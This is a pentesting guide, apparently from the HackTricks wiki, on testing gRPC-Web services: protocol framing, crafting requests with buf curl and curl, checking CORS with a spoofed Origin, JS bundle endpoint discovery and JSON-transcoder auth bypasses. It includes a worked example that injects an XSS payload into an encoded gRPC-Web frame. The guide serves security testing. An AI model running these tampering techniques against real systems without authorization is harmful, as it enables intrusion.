grpc-web-pentest.md (11465B)
1 --- 2 title: "Pentesting gRPC-Web" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/grpc-web-pentest.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/grpc-web-pentest.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Pentesting gRPC-Web 14 15 ## Quick protocol recap and attack surface 16 17 - Transport: gRPC‑Web speaks a browser‑compatible variant of gRPC over HTTP/1.1 or HTTP/2 via a proxy (Envoy/APISIX/grpcwebproxy/etc.). Only unary and server‑streaming calls are supported. 18 - Content-Types you will see: 19 - application/grpc-web (binary framing) 20 - application/grpc-web-text (base64-encoded framing for HTTP/1.1 streaming) 21 - Framing: every message is prefixed with a 5‑byte gRPC header (1‑byte flags + 4‑byte length). In gRPC‑Web, trailers (grpc-status, grpc-message, …) are sent inside the body as a special frame: first byte with MSB set (0x80) followed by a length and a HTTP/1.1‑style header block.<sup>[[3]](#references)</sup> 22 - Common request headers: x-grpc-web: 1, x-user-agent: grpc-web-javascript/…, grpc-timeout, grpc-encoding. Responses expose grpc-status/grpc-message via trailers/body frames and often via Access-Control-Expose-Headers for browsers. 23 - Security‑relevant middleware often present: 24 - Envoy grpc_web filter and gRPC‑JSON transcoder (HTTP<->gRPC bridge) 25 - Nginx/APISIX gRPC‑Web plugins 26 - CORS policies on the proxy 27 28 What this means for attackers: 29 - You can craft requests by hand (binary or base64 text), or let tooling generate/encode them. 30 - CORS mistakes on the proxy can allow cross‑site, authenticated gRPC‑Web calls (similar to classic CORS issues). 31 - JSON transcoding bridges may unintentionally expose gRPC methods as unauthenticated HTTP endpoints if routes/auth are misconfigured.<sup>[[1]](#references)</sup> 32 33 ## Testing gRPC‑Web from the CLI 34 35 ### Easiest: buf curl (speaks gRPC‑Web natively) 36 37 - List methods via reflection (if enabled): 38 39 ```bash 40 # list methods (uses reflection) 41 buf curl --protocol grpcweb https://host.tld --list-methods 42 ``` 43 44 - Call a method with JSON input, auto‑handling gRPC‑Web framing and headers: 45 46 ```bash 47 buf curl --protocol grpcweb \ 48 -H 'Origin: https://example.com' \ 49 -d '{"field":"value"}' \ 50 https://host.tld/pkg.svc.v1.Service/Method 51 ``` 52 53 - If reflection is disabled, provide a schema/descriptor set with --schema or point to local .proto files. See buf help curl. 54 55 ### Raw with curl (manual headers + framed body) 56 57 For binary mode (application/grpc-web), send a framed payload (5‑byte prefix + protobuf message). For text mode, base64‑encode the framed payload. 58 59 ```bash 60 # Build a protobuf message, then gRPC-frame it (1 flag byte + 4 length + msg) 61 # Example using protoscope to compose/edit the message and base64 for grpc-web-text 62 protoscope -s msg.txt | python3 grpc-coder.py --encode --type grpc-web-text | \ 63 tee body.b64 64 65 curl -i https://host.tld/pkg.svc.v1.Service/Method \ 66 -H 'Content-Type: application/grpc-web-text' \ 67 -H 'X-Grpc-Web: 1' \ 68 -H 'X-User-Agent: grpc-web-javascript/0.1' \ 69 --data-binary @body.b64 70 ``` 71 72 Tip: Force base64/text mode with application/grpc-web-text when HTTP/1.1 intermediaries break binary streaming. 73 74 ### Check CORS behavior (preflight + response) 75 76 - Preflight: 77 78 ```bash 79 curl -i -X OPTIONS https://host.tld/pkg.svc.v1.Service/Method \ 80 -H 'Origin: https://evil.tld' \ 81 -H 'Access-Control-Request-Method: POST' \ 82 -H 'Access-Control-Request-Headers: content-type,x-grpc-web,x-user-agent,grpc-timeout' 83 ``` 84 85 - A vulnerable setup often reflects arbitrary Origin and sends Access-Control-Allow-Credentials: true, allowing cross‑site authenticated calls. Also check Access-Control-Expose-Headers includes grpc-status, grpc-message (many deployments expose these for client libs). 86 87 For generic techniques to abuse CORS, check [CORS - Misconfigurations & Bypass](/hacktricks/pentesting-web/cors-bypass). 88 89 ## Manipulating gRPC‑Web payloads 90 91 gRPC‑Web uses Content-Type: application/grpc-web-text as a base64‑wrapped gRPC frame stream for browser compatibility. You can decode/modify/encode frames to tamper with fields, flip flags, or inject payloads.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 92 93 Use the [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) tool (and its Burp extension) to speed up round‑trips.<sup>[[2]](#references)</sup> 94 95 ### Manual with the gRPC Coder Tool 96 97 1. Decode the payload: 98 99 ```bash 100 echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt 101 ``` 102 103 2. Edit the content of decoded payload 104 105 ```text 106 nano out.txt 107 2: {"Amin Nasiri Xenon GRPC"} 108 3: 54 109 7: {"<script>alert(origin)</script>"} 110 ``` 111 112 3. Encode the new payload 113 114 ```bash 115 protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text 116 ``` 117 118 4. Use output in Burp interceptor: 119 120 ```text 121 AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+ 122 ``` 123 124 ### Manual with gRPC‑Web Coder Burp Suite Extension 125 126 You can use gRPC‑Web Coder Burp Suite Extension in [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) which is easier. You can read the installation and usage instruction in its repo.<sup>[[2]](#references)</sup> 127 128 ## Analysing gRPC‑Web JavaScript files 129 130 Web apps using gRPC‑Web ship at least one generated JS/TS bundle. Reverse them to extract services, methods, and message shapes.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 131 132 - Try using [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) to parse bundles.<sup>[[2]](#references)</sup> 133 - Look for method paths like `/<pkg>.<Service>/<Method>`, message field numbers/types, and custom interceptors that add auth headers. 134 135 1. Download the JavaScript gRPC‑Web file 136 2. Scan it with grpc-scan.py: 137 138 ```bash 139 python3 grpc-scan.py --file main.js 140 ``` 141 142 3. Analyse output and test the new endpoints and new services: 143 144 ```text 145 Output: 146 Found Endpoints: 147 /grpc.gateway.testing.EchoService/Echo 148 /grpc.gateway.testing.EchoService/EchoAbort 149 /grpc.gateway.testing.EchoService/NoOp 150 /grpc.gateway.testing.EchoService/ServerStreamingEcho 151 /grpc.gateway.testing.EchoService/ServerStreamingEchoAbort 152 153 Found Messages: 154 155 grpc.gateway.testing.EchoRequest: 156 +------------+--------------------+--------------+ 157 | Field Name | Field Type | Field Number | 158 +============+====================+==============+ 159 | Message | Proto3StringField | 1 | 160 +------------+--------------------+--------------+ 161 | Name | Proto3StringField | 2 | 162 +------------+--------------------+--------------+ 163 | Age | Proto3IntField | 3 | 164 +------------+--------------------+--------------+ 165 | IsAdmin | Proto3BooleanField | 4 | 166 +------------+--------------------+--------------+ 167 | Weight | Proto3FloatField | 5 | 168 +------------+--------------------+--------------+ 169 | Test | Proto3StringField | 6 | 170 +------------+--------------------+--------------+ 171 | Test2 | Proto3StringField | 7 | 172 +------------+--------------------+--------------+ 173 | Test3 | Proto3StringField | 16 | 174 +------------+--------------------+--------------+ 175 | Test4 | Proto3StringField | 20 | 176 +------------+--------------------+--------------+ 177 178 grpc.gateway.testing.EchoResponse: 179 +--------------+--------------------+--------------+ 180 | Field Name | Field Type | Field Number | 181 +==============+====================+==============+ 182 | Message | Proto3StringField | 1 | 183 +--------------+--------------------+--------------+ 184 | Name | Proto3StringField | 2 | 185 +--------------+--------------------+--------------+ 186 | Age | Proto3IntField | 3 | 187 +--------------+--------------------+--------------+ 188 | IsAdmin | Proto3BooleanField | 4 | 189 +--------------+--------------------+--------------+ 190 | Weight | Proto3FloatField | 5 | 191 +--------------+--------------------+--------------+ 192 | Test | Proto3StringField | 6 | 193 +--------------+--------------------+--------------+ 194 | Test2 | Proto3StringField | 7 | 195 +--------------+--------------------+--------------+ 196 | Test3 | Proto3StringField | 16 | 197 +--------------+--------------------+--------------+ 198 | Test4 | Proto3StringField | 20 | 199 +--------------+--------------------+--------------+ 200 | MessageCount | Proto3IntField | 8 | 201 +--------------+--------------------+--------------+ 202 203 grpc.gateway.testing.ServerStreamingEchoRequest: 204 +-----------------+-------------------+--------------+ 205 | Field Name | Field Type | Field Number | 206 +=================+===================+==============+ 207 | Message | Proto3StringField | 1 | 208 +-----------------+-------------------+--------------+ 209 | MessageCount | Proto3IntField | 2 | 210 +-----------------+-------------------+--------------+ 211 | MessageInterval | Proto3IntField | 3 | 212 +-----------------+-------------------+--------------+ 213 214 grpc.gateway.testing.ServerStreamingEchoResponse: 215 +------------+-------------------+--------------+ 216 | Field Name | Field Type | Field Number | 217 +============+===================+==============+ 218 | Message | Proto3StringField | 1 | 219 +------------+-------------------+--------------+ 220 221 grpc.gateway.testing.ClientStreamingEchoRequest: 222 +------------+-------------------+--------------+ 223 | Field Name | Field Type | Field Number | 224 +============+===================+==============+ 225 | Message | Proto3StringField | 1 | 226 +------------+-------------------+--------------+ 227 228 grpc.gateway.testing.ClientStreamingEchoResponse: 229 +--------------+----------------+--------------+ 230 | Field Name | Field Type | Field Number | 231 +==============+================+==============+ 232 | MessageCount | Proto3IntField | 1 | 233 +--------------+----------------+--------------+ 234 ``` 235 236 ## Bridging and JSON transcoding gotchas 237 238 Many deployments put an Envoy (or similar) proxy in front of the gRPC server: 239 240 - grpc_web filter translates HTTP/1.1 POSTs into HTTP/2 gRPC. 241 - gRPC‑JSON Transcoder exposes gRPC methods as HTTP JSON endpoints when .proto options (google.api.http) are present. 242 243 From a pentesting perspective: 244 - Try direct HTTP JSON calls to `/<pkg>.<Service>/<Method>` with `application/json` when a transcoder is enabled (auth/route mismatches are common): 245 246 ```bash 247 curl -i https://host.tld/pkg.svc.v1.Service/Method \ 248 -H 'Content-Type: application/json' \ 249 -d '{"field":"value"}' 250 ``` 251 252 - Review whether unknown methods/parameters are rejected or passed through. Some configs forward unmatched paths upstream, occasionally bypassing auth or request validation. 253 - Observe x-envoy-original-path and related headers added by proxies. Upstreams that trust these may be abusable if the proxy fails to sanitize them. 254 255 ## References 256 257 - [1] [Hacking into gRPC‑Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) 258 - [2] [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) 259 - [3] [gRPC‑Web protocol notes (PROTOCOL‑WEB.md)](https://chromium.googlesource.com/external/github.com/grpc/grpc/%2B/v1.16.1/doc/PROTOCOL-WEB.md)